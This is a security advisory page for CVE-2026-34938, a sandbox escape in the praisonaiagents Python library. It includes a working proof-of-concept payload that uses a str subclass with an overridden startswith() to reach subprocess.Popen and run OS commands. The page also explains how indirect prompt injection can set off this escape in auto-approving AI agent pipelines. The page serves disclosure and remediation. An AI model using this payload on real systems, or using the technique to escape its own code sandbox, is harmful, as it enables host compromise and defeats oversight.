Python
CVE-2026-34938
CRITICAL
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'):
# isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
AnalysisAI
Critical sandbox escape in praisonaiagents Python library allows remote unauthenticated attackers to execute arbitrary OS commands by exploiting a type-checking flaw in the _safe_getattr wrapper. The vulnerability affects pkg:pip/praisonaiagents and carries a maximum CVSS 10.0 score with network attack vector, no authentication required, and changed scope impact. Deployments using default autonomous modes (PRAISONAI_AUTO_APPROVE=true) execute attacker code silently without human confirmation, enabling indirect prompt injection attacks against AI agent pipelines. Publicly available exploit code exists with working proof-of-concept demonstrating full OS command execution via subprocess.Popen access.
Technical ContextAI
The vulnerability exploits a fundamental weakness in Python's type system and the execute_code() sandbox implementation. The three-layer sandbox uses _safe_getattr to block attribute access to private members (those starting with underscore) by checking isinstance(name, str) and name.startswith('_'). However, Python's isinstance() returns True for subclass instances, while startswith() is a normal method that can be overridden in subclasses. By using type() (whitelisted in safe_builtins) to dynamically create a str subclass with a neutered startswith() that always returns False, attackers bypass the underscore check entirely. This grants access to __mro__, __subclasses__, and other reflection attributes that enable walking the object graph to reach subprocess.Popen. The root cause maps to CWE-693 (Protection Mechanism Failure) where the sandbox's type-checking logic incorrectly trusts behavior inherited from user-controllable subclasses rather than enforcing immutable type constraints. The pkg:pip/praisonaiagents package implements this flawed sandbox in python_tools.py as part of its AI agent code execution framework.
RemediationAI
Upstream fix available via GitHub advisory GHSA-6vh2-h83c-9294; released patched version not independently confirmed from available data. Users should immediately check the GitHub advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294 for patched releases and upgrade praisonaiagents to the latest version via pip install --upgrade praisonaiagents. Until patching is complete, implement emergency mitigations: (1) disable execute_code() functionality entirely if not strictly required, (2) set PRAISONAI_AUTO_APPROVE=false to require human confirmation for all code execution requests, (3) implement strict input validation to reject any code containing 'type(' constructor calls or reflection-related strings, and (4) isolate praisonaiagents processes in containerized environments with minimal privileges and no network access. The _safe_getattr implementation requires redesign to use type(name) is str rather than isinstance checks, ensuring only true str instances pass validation and subclass overrides cannot bypass security controls. Organizations using AI agent frameworks should audit all code execution sandboxes for similar type-checking vulnerabilities.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-693 – Protection Mechanism Failure
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-6vh2-h83c-9294